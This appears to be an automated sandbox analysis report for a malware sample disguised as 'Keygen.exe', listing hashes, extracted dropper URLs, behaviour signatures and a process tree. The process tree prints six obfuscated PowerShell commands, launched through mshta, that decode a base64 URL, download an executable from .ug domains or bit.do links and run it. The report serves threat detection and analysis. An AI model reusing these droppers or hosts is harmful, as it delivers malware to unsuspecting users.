88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b

Target

Keygen.exe
Size

849KB
MD5

dbde61502c5c0e17ebc6919f361c32b9
SHA1

189749cf0b66a9f560b68861f98c22cdbcafc566
SHA256

88cad5f9433e50af09ac9cad9db06e9003e85be739060b88b64186c05c0d636b
SHA512

d9b8537f05844ec2f2549e2049e967a8023bfe432e3a9cf25fc0f7ad720e57a5830be733e1812cc806c5b68cd9586a031e394f67fc7e3f7fe390625fd5dedfbb

Score

10^/10

Malware Config

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://zxvbcrt.ug/zxcvb.exe

exe.dropper

http://zxvbcrt.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhHT

exe.dropper

http://bit.do/fqhHT

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJv

exe.dropper

http://bit.do/fqhJv

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://pdshcjvnv.ug/zxcvb.exe

exe.dropper

http://pdshcjvnv.ug/zxcvb.exe

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://bit.do/fqhJD

exe.dropper

http://bit.do/fqhJD

Extracted

Language

ps1

Source

URLs

ps1.dropper

http://rbcxvnb.ug/zxcvb.exe

exe.dropper

http://rbcxvnb.ug/zxcvb.exe

Signatures

Blocklisted process makes network request 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exe

flow pid process

12 4180 powershell.exe
13 2252 powershell.exe
14 2144 powershell.exe
18 2252 powershell.exe
Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

Keygen.exe

pid process

3848 Keygen.exe
Drops file in Windows directory 1 IoCs

Processes:

svchost.exe

description ioc process

File opened for modification C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat svchost.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

3684 timeout.exe
200 timeout.exe

flow	pid	process
12	4180	powershell.exe
13	2252	powershell.exe
14	2144	powershell.exe
18	2252	powershell.exe

pid	process
3848	Keygen.exe

description	ioc	process
File opened for modification	C:\Windows\ServiceProfiles\LocalService\winhttp\cachev3.dat	svchost.exe

pid	process
3684	timeout.exe
200	timeout.exe

Modifies data under HKEY_USERS 5 IoCs

Processes:

svchost.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	svchost.exe
Key created	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionReason = "1"	svchost.exe
Set value (data)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecisionTime = 7007f2383c85d601	svchost.exe
Set value (int)	\REGISTRY\USER\S-1-5-19\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\0e-3e-6f-2c-c8-c7\WpadDecision = "0"	svchost.exe

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings cmd.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1400429095-533421673-2598934218-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

pid	process
2208	powershell.exe
2208	powershell.exe
4248	powershell.exe
4248	powershell.exe
2144	powershell.exe
2144	powershell.exe
2252	powershell.exe
2252	powershell.exe
2200	powershell.exe
2200	powershell.exe
4180	powershell.exe
4180	powershell.exe
4248	powershell.exe
4180	powershell.exe
2252	powershell.exe
2208	powershell.exe
2200	powershell.exe
2144	powershell.exe
2208	powershell.exe
2200	powershell.exe
4180	powershell.exe
2144	powershell.exe
4248	powershell.exe
2252	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

svchost.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	2688	svchost.exe
Token: SeCreatePagefilePrivilege	2688	svchost.exe
Token: SeDebugPrivilege	4248	powershell.exe
Token: SeDebugPrivilege	2208	powershell.exe
Token: SeDebugPrivilege	2252	powershell.exe
Token: SeDebugPrivilege	2144	powershell.exe
Token: SeDebugPrivilege	4180	powershell.exe
Token: SeDebugPrivilege	2200	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

Processes:

Keygen.exe

pid process

3848 Keygen.exe

pid	process
3848	Keygen.exe

Suspicious use of WriteProcessMemory 48 IoCs

Processes:

Keygen.execmd.exemshta.exemshta.exemshta.exemshta.exemshta.exemshta.exe

description	pid	process	target process
PID 3488 wrote to memory of 4048	3488	Keygen.exe	cmd.exe
PID 3488 wrote to memory of 4048	3488	Keygen.exe	cmd.exe
PID 3488 wrote to memory of 4048	3488	Keygen.exe	cmd.exe
PID 4048 wrote to memory of 3848	4048	cmd.exe	Keygen.exe
PID 4048 wrote to memory of 3848	4048	cmd.exe	Keygen.exe
PID 4048 wrote to memory of 3848	4048	cmd.exe	Keygen.exe
PID 4048 wrote to memory of 3096	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3096	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3096	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3508	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3508	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3508	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3684	4048	cmd.exe	timeout.exe
PID 4048 wrote to memory of 3684	4048	cmd.exe	timeout.exe
PID 4048 wrote to memory of 3684	4048	cmd.exe	timeout.exe
PID 4048 wrote to memory of 3936	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3936	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3936	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3736	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3736	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 3736	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 200	4048	cmd.exe	timeout.exe
PID 4048 wrote to memory of 200	4048	cmd.exe	timeout.exe
PID 4048 wrote to memory of 200	4048	cmd.exe	timeout.exe
PID 3508 wrote to memory of 2200	3508	mshta.exe	powershell.exe
PID 3508 wrote to memory of 2200	3508	mshta.exe	powershell.exe
PID 3508 wrote to memory of 2200	3508	mshta.exe	powershell.exe
PID 3096 wrote to memory of 2144	3096	mshta.exe	powershell.exe
PID 3096 wrote to memory of 2144	3096	mshta.exe	powershell.exe
PID 3096 wrote to memory of 2144	3096	mshta.exe	powershell.exe
PID 3936 wrote to memory of 2252	3936	mshta.exe	powershell.exe
PID 3936 wrote to memory of 2252	3936	mshta.exe	powershell.exe
PID 3936 wrote to memory of 2252	3936	mshta.exe	powershell.exe
PID 3736 wrote to memory of 2208	3736	mshta.exe	powershell.exe
PID 3736 wrote to memory of 2208	3736	mshta.exe	powershell.exe
PID 3736 wrote to memory of 2208	3736	mshta.exe	powershell.exe
PID 4048 wrote to memory of 2212	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 2212	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 2212	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 2068	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 2068	4048	cmd.exe	mshta.exe
PID 4048 wrote to memory of 2068	4048	cmd.exe	mshta.exe
PID 2212 wrote to memory of 4180	2212	mshta.exe	powershell.exe
PID 2212 wrote to memory of 4180	2212	mshta.exe	powershell.exe
PID 2212 wrote to memory of 4180	2212	mshta.exe	powershell.exe
PID 2068 wrote to memory of 4248	2068	mshta.exe	powershell.exe
PID 2068 wrote to memory of 4248	2068	mshta.exe	powershell.exe
PID 2068 wrote to memory of 4248	2068	mshta.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\Keygen.exe
"C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3488

C:\Windows\SysWOW64\cmd.exe
C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\9D20.tmp\start.bat" C:\Users\Admin\AppData\Local\Temp\Keygen.exe"
2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4048

C:\Users\Admin\AppData\Local\Temp\9D20.tmp\Keygen.exe
Keygen.exe
3⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3848

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\m.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3096

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iguyoamkbvf $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iguyoamkbvf umgptdaebf $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|umgptdaebf;iguyoamkbvf rsatiq $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhIVA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);rsatiq $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2144

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\m1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3508

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL iyhxbstew $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;iyhxbstew bruolc $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bruolc;iyhxbstew cplmfksidr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3p4dmJjcnQudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);cplmfksidr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2200

C:\Windows\SysWOW64\timeout.exe
timeout 1
3⤵
- Delays execution with timeout.exe
PID:3684

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\b.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3936

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL omdrklgfia $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;omdrklgfia yvshnex $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|yvshnex;omdrklgfia gemjhbnrwydsof $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKdg==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);gemjhbnrwydsof $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2252

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3736

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2208

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:200

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4180

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\9D20.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:2068

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4248

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s WinHttpAutoProxySvc
1⤵
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\9D20.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\9D20.tmp\start.bat

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memory/200-15-0x0000000000000000-mapping.dmp

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memory/2068-28-0x0000000000000000-mapping.dmp

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memory/2144-70-0x0000000008120000-0x0000000008121000-memory.dmp

Filesize
4KB

Download
memory/2144-75-0x0000000008790000-0x0000000008791000-memory.dmp

Filesize
4KB

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memory/2144-23-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/2144-18-0x0000000000000000-mapping.dmp

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memory/2200-24-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/2200-17-0x0000000000000000-mapping.dmp

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memory/2200-87-0x0000000009A50000-0x0000000009A51000-memory.dmp

Filesize
4KB

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memory/2200-81-0x0000000008330000-0x0000000008331000-memory.dmp

Filesize
4KB

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memory/2200-34-0x0000000007280000-0x0000000007281000-memory.dmp

Filesize
4KB

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memory/2208-21-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/2208-63-0x0000000007A80000-0x0000000007A81000-memory.dmp

Filesize
4KB

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memory/2208-29-0x00000000045D0000-0x00000000045D1000-memory.dmp

Filesize
4KB

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memory/2208-57-0x00000000079D0000-0x00000000079D1000-memory.dmp

Filesize
4KB

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memory/2208-20-0x0000000000000000-mapping.dmp

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memory/2208-51-0x00000000071C0000-0x00000000071C1000-memory.dmp

Filesize
4KB

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memory/2212-26-0x0000000000000000-mapping.dmp

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memory/2252-45-0x0000000007C20000-0x0000000007C21000-memory.dmp

Filesize
4KB

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memory/2252-93-0x0000000009390000-0x0000000009391000-memory.dmp

Filesize
4KB

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memory/2252-19-0x0000000000000000-mapping.dmp

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memory/2252-22-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/3096-7-0x0000000000000000-mapping.dmp

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memory/3508-9-0x0000000000000000-mapping.dmp

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memory/3684-10-0x0000000000000000-mapping.dmp

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memory/3736-14-0x0000000000000000-mapping.dmp

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memory/3848-3-0x0000000000000000-mapping.dmp

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memory/3848-2-0x0000000000000000-mapping.dmp

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memory/3936-12-0x0000000000000000-mapping.dmp

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memory/4048-0-0x0000000000000000-mapping.dmp

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memory/4180-39-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/4180-33-0x0000000000000000-mapping.dmp

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memory/4180-69-0x0000000007E40000-0x0000000007E41000-memory.dmp

Filesize
4KB

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memory/4248-41-0x0000000070460000-0x0000000070B4E000-memory.dmp

Filesize
6.9MB

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memory/4248-38-0x0000000000000000-mapping.dmp

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